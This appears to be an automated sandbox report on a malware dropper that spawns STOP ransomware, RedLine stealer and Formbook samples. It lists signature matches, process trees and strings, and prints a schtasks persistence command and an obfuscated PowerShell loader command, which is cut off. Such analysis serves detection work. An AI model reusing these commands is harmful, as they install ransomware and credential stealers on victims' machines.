Source: 00000021.00000002.1915949362.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000001F.00000002.1880249708.0000000002670000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000002D.00000002.2012432809.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000002D.00000002.2012432809.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000033.00000002.2092525827.00000000025F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000028.00000002.1925783529.00000000025B8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000002B.00000002.1988294544.000000000096E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000002A.00000002.2651298256.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000002A.00000002.2651298256.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000001F.00000002.1879761804.00000000024C9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000029.00000002.1997827181.0000000002640000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000029.00000002.1997713189.000000000257C000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000033.00000002.2092411738.0000000002424000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000030.00000002.4089164036.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000002E.00000002.2009399766.0000000002740000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000002E.00000002.2009060083.00000000025F0000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000031.00000002.2285780080.0000000000AA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: buildz.exe PID: 6540, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: somzx.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: buildz.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 2.2.spfasiazx.exe.30e334c.7.raw.unpack, mtuWuj.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.spfasiazx.exe.30e334c.7.raw.unpack, mtuWuj.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.spfasiazx.exe.30d946c.2.raw.unpack, mtuWuj.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.spfasiazx.exe.30d946c.2.raw.unpack, mtuWuj.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.spfasiazx.exe.7f20000.14.raw.unpack, SimpleZip.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.spfasiazx.exe.7f20000.14.raw.unpack, SimpleZip.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, HGT2HfNxEkVpRA4N7p.cs	Security API names: _0020.SetAccessControl
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, HGT2HfNxEkVpRA4N7p.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, HGT2HfNxEkVpRA4N7p.cs	Security API names: _0020.AddAccessRule
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, KikFOSYskJSgtHTwBF.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, KikFOSYskJSgtHTwBF.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, HGT2HfNxEkVpRA4N7p.cs	Security API names: _0020.SetAccessControl
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, HGT2HfNxEkVpRA4N7p.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, HGT2HfNxEkVpRA4N7p.cs	Security API names: _0020.AddAccessRule

Source: 2.2.spfasiazx.exe.3265640.1.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 2.2.spfasiazx.exe.3279ef0.8.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject
Source: 2.2.spfasiazx.exe.30b0a64.9.raw.unpack, ReactionVessel.cs	Suspicious method names: .ReactionVessel.Inject

Source: spfasiazx.exe, 00000002.00000002.1680913500.0000000001301000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: TPConfigSnapshot.snp.VBp0

Source: classification engine

Classification label: mal100.rans.spre.troj.adwa.spyw.evad.winEXE@72/1303@22/24

Source: C:\Users\user\Desktop\a\Creal.exe

Code function: 18_2_00007FF738B68560 GetLastError,FormatMessageW,WideCharToMultiByte,

18_2_00007FF738B68560

Source: C:\Users\user\Desktop\a\wlanext.exe

14_2_004032BF

Source: C:\Users\user\Desktop\a\wlanext.exe

Code function: 14_2_0040451A GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

14_2_0040451A

Source: C:\Users\user\Desktop\a\buildz.exe

Code function: 31_2_024C97C6 CreateToolhelp32Snapshot,Module32First,

31_2_024C97C6

Source: C:\Users\user\Desktop\a\wlanext.exe

Code function: 14_2_004020CD CoCreateInstance,MultiByteToWideChar,

14_2_004020CD

Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

File created: C:\Users\user\Desktop\a

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7412:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5480
Source: C:\Users\user\Desktop\a\alex.exe	Mutant created: \Sessions\1\BaseNamedObjects\yVeGABPblgLR
Source: C:\Users\user\Desktop\a\buildz.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7588:120:WilError_03
Source: C:\Users\user\Desktop\a\build3.exe	Mutant created: \Sessions\1\BaseNamedObjects\07c6bc37dc50874878dcb010336ed906
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5304:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7812:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7148:120:WilError_03

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\4c121a06-6928-4314-a2c6-659432fc7caf

Jump to behavior

Source: New_Text_Document_mod.exse.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: New_Text_Document_mod.exse.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\Desktop\a\alex.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT Name FROM Win32_Processor
Source: C:\Users\user\Desktop\a\Creal.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Architecture FROM Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: alex.exe, 0000000C.00000000.1730115148.0000000000A82000.00000002.00000001.01000000.00000010.sdmp

Binary or memory string: select MaBA, HoSoBenhAn.MaBN, MaBS, NgayKham, LiDoKham, MaTT, TienSuBenh, HuyetAp, CanNang, NhietDo, MaPA, TienKham From HoSoBenhAn Where 1=1; AND HoSoBenhAn.MaBA Like N'%

Source: New_Text_Document_mod.exse.exe	ReversingLabs: Detection: 16%
Source: New_Text_Document_mod.exse.exe	Virustotal: Detection: 20%

Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: yscalltick= work.nproc= work.nwait= %s/rawaddr/%s%s\%s\drivers, gp->status=, not pointer-bind-address-byte block (3814697265625: unknown pc Accept-RangesAuthorizationCLIENT_RANDOMCONNECTION-IDCONNECT_ERRORCache-ControlCertOpenStoreCoTaskMemFreeConnectServerCo
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: REQUESTED-ADDRESS-FAMILYRequest Entity Too LargeSA Eastern Standard TimeSA Pacific Standard TimeSA Western Standard TimeSafeArrayAllocDescriptorSetConsoleCursorPositionSetDefaultDllDirectoriesSetupDiCreateDeviceInfoWSetupDiGetSelectedDeviceSetupDiSetSelectedDe
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: PED-ADDRESSMAX_FRAME_SIZEMB; allocated MakeAbsoluteSDMissing quotesModule32FirstWNetUserGetInfoNot AcceptableNtResumeThreadOSArchitectureOpenSCManagerWOther_ID_StartPROTOCOL_ERRORPattern_SyntaxProcess32NextWProtection DirQuotation_MarkRCodeNameErrorREFUSED_STR
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: inateProcessTor current modeTor is dowloadedTranslateMessageTrustedInstallerUnregisterClassWUpgrade RequiredUser-Agent: %s VirtualProtectExWinVerifyTrustExWindows DefenderWww-AuthenticateXOR-PEER-ADDRESSZanabazar_Square\windefender.exe runtime stack: address
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: unknown network unpacking headerworkbuf is emptywrite config: %wwww-authenticate spinningthreads=%%!%c(big.Int=%s)%s/address/%s/txs, p.searchAddr = 0123456789ABCDEFX0123456789abcdefx060102150405Z07001192092895507812559604644775390625: missing method AdjustToke
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: Temporary RedirectTerminateJobObjectTime.MarshalJSON: Time.MarshalText: UNKNOWN-ATTRIBUTESUNKNOWN_SETTING_%dUnknown value typeVariation_SelectorWeb Downloader/6.9WriteProcessMemoryXOR-MAPPED-ADDRESSadaptivestackstartbad Content-Lengthbad manualFreeListbufio: b
Source: e0cbefcb1af40c7d4aff4aca26621a98.exe	String found in binary or memory: .654WDG_Validator/1.6.2WSALookupServiceEndWaitForSingleObjectWindowsCreateStringWindowsDeleteStringWinmonSystemMonitorXOR-RELAYED-ADDRESSYukon Standard Timeadjusttimers: bad pafter array elementattribute not foundbad ABI descriptionbad file descriptorbad kind
Source: buildz.exe	String found in binary or memory: set-addPolicy
Source: buildz.exe	String found in binary or memory: id-cmc-addExtensions

Source: unknown	Process created: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe C:\Users\user\Desktop\New_Text_Document_mod.exse.exe
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\spfasiazx.exe "C:\Users\user\Desktop\a\spfasiazx.exe"
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process created: C:\Users\user\Desktop\a\spfasiazx.exe C:\Users\user\Desktop\a\spfasiazx.exe
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5480 -s 860
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\build3.exe "C:\Users\user\Desktop\a\build3.exe"
Source: C:\Users\user\Desktop\a\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN build3.exe /TR "C:\Users\user\Desktop\a\build3.exe" /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\Desktop\a\build3.exe C:\Users\user\Desktop\a\build3.exe
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\alex.exe "C:\Users\user\Desktop\a\alex.exe"
Source: C:\Users\user\Desktop\a\alex.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\wlanext.exe "C:\Users\user\Desktop\a\wlanext.exe"
Source: C:\Users\user\Desktop\a\build3.exe	Process created: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe "C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe"
Source: C:\Users\user\Desktop\a\wlanext.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle minimized $fe32 = Get-Content 'C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Margarines.Pos' ; powershell.Exe "$fe32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\Creal.exe "C:\Users\user\Desktop\a\Creal.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Radiosensitivities Outerwear Opsigelsesaftalernes Spaanlst Afstrmningens Drosera Polyteisterne #>$Specterlikes = """He;udFMauMenRecLetUniBaoFonMa SpVmaAAnR p5Co3Th Ef{Es An Sy X UnpHuaIdrSiaComLa(Bi[ PSAutPhr BiHunShgSk]Mi`$StETetCyaLeglseLerOvnSne RsStiUnt RrFaeKlr PeSl2Ca4ba)Ub; F yd`$PaSkloMilFocSmrDeeinmDye Tr NnBieUn S=Ad S`$AkEDatSpaRogCheScr Ln He Ls Si ItHirFeeUnrRyeAr2 S4Sp.brLLoeUnnHagbat EhSu; K A Pl do Ph`$ImL EoTatSeuJas ObKolHuo KmSisSktOpe En AsWe7Vi3Da P=Re CaNDae MwFo- COUnbBajfieUncSatdi RsbGry BtFreDe[Ty] A Rd(Tf`$ SS AoInlGecEnrTjeMamUneStrStnPaeVa Li/Ja Fo2Al)At;Te up`$SvPbeoSowDrs V= S'PrS GUUn' S+Pr'ArBKoSIsTReRTeI BNPlGPr'Ne;Re I Pr Fr DrFAko FrBu( R`$DeS QtCoaIskAki FtStt PeTrrcrt ToInm PtAreDeo BrOpiLysHe= S0se;Po Zo`$KoSTotDeaDakIniHjt Ot Fe TrGatFioSemTjt LeSto KrHeiWisVu Ar-ChlLitFi Oo`$InSTeoOvlRecder SeSpmBaePar InRoesu;Ns No`$UnS LtSnaCikDriOctShtSeestrJatFloInmRet EeSpoAcrGaimrsMe+An=Mi2 A)Me{Pr Mo Vo Me An Ma P S Gr`$ PLProQut AuSesDibSklcho HmTrsSltOueEinkvs a7Ke3St[Pa`$HjS It PaAnk MiDetLstSteWorNotFooSumFutAnesaoPlrReiUdsKe/Mi2Vi] C Ch=Sw Sy[OrcDioAcnwavEmeFrrSetAs]Kl:Kl:MeTKuoAsB byAftKieBi(Co`$MuEPatGuaAag De QrIlnAnefesSpi Nt Kr TeDarJeeNo2Re4 P.Me`$CoP ToNawMysbr.PeIHjnElv EoHykAneSe(Sa`$MaS EtMaaFek Ri CtLntKoeeprNet PoIsm Bt HeSuo BrKniChsBr,Ca Vr2Mi) D,in T1Se6su)Ps;Ul Pr Ne`$ BLHyo DtBuu SsTib PlCooTumFasOntSteSenEmsmu7Sp3Af[Fo`$ SS NtFoaFlkKai LtDottaeVor BtUnoHem AtMaeInoBlr SiInsDe/Mo2Cr] A U=un Bs TuUnbOrs PeDiwMeeAgrSe8Pr Ir`$StLObougtLouSksvibTalDioNomHjsTotJaeSpnVasIn7 S3Mi[Us`$NeS ptNoaKok Pi Bt Tt deWarTatTso SmBetDeeDioAdr MisasEr/Br2De]Cu Re6 T4Em;bi Ma U Ho Sa} M An[ArSFltMar kiApnTrgCe]Le[FoSrayUnsPstmieKamTa.CoTCoeFrxCotSr. PEgenOlcBeoWrdUnihinnogRe]Tr:Sa:FrAkaSAlCTeIChIFr.VaGEnePrtSmSSitNorRui TnFagSc(Pa`$StLReo VtRau HsNdbAllPioMamGusIntPaeMenDes S7 V3Pu) Q;Un} A`$FuS ToGagPanPoeSifFooFigPre AdBuePirStnPaeSu0Am=ToVInAfeRLi5no3Ru Di'la1Te3Th3En9Sa3 E3Sp3Pr4Kr2 S5 s2BaDLa6UnEMi2Be4Tr2SkC M2InCBa'Ko;di`$SrSSyo AgDrnPte Tfaro ggTheOpdSte SrHdnMieHy1An=SlVAaAUlR I5Me3 B R' F0GaDBu2Hy9Ov2 S3St3 P2Vi2UnFVa3Py3Br2CoFzo2Un6Sl3 A4mi6spE P1Fe7 L2He9Fa2 AERa7Po3cl7 Q2Li6 FEBo1Tr5Dr2ThE V3Re3Fl2 H1Pr2Po6De2Sk5po0PeEDi2An1 B3 T4 C2Re9 M3 I6 S2Fa5Me0 IDEk2Pr5Um3Ba4Ob2Af8di2 CFOr2Un4Mo3 F3Ge' H;To`$NeS OoAfgAun TeCafbuoUtg weDadTeeChr AnOmeTh2De= RV KAViRFu5Ga3El Ca'cu0Fj7Br2pe5in3St4Di1Un0Ph3Te2Kn2FoFUn2 b3Dy0Sc1Gr2Sp4Al2Ou4Fd3Un2 W2 T5Ah3Le3Pa3 B3Me'Ko;La`$ThSEcoUngOvnPaeLyfSioCogUdeUnd peSarAmnNaeJe3Gi=kuVByAKoR V5st3Ar D'Ke1Ej3Ho3 m9 L3 B3kr3To4Br2Ra5Sl2RsDKo6MaE F1Ro2Bl3Tv5 D2SoE G3 A4de2Re9Id2ReDKa2Be5In6OeEVa0 T9un2SkERe3Sm4Am2Bu5su3St2Ol2AdFRa3Ly0Re1 I3Ga2Et5Fa3ya2 N3Co6Ba2 A9Me2Sk3Ri2 R5Fe3gr3 P6BeEVr0To8Er2Un1Pr2CeESo2In4ef2JaCMa2gu5 O1Sa2Qu2Sm5Th2De6Mo'Va; P`$tuSMaoPtgApnMeeHjf Ro BgPieOsdSle ErAknLge F4Fi= MVOpAecRSc5An3Zo Hu' S3or3Ra3Un4 H3Ti2Il2Fr9 T2FnEIn2
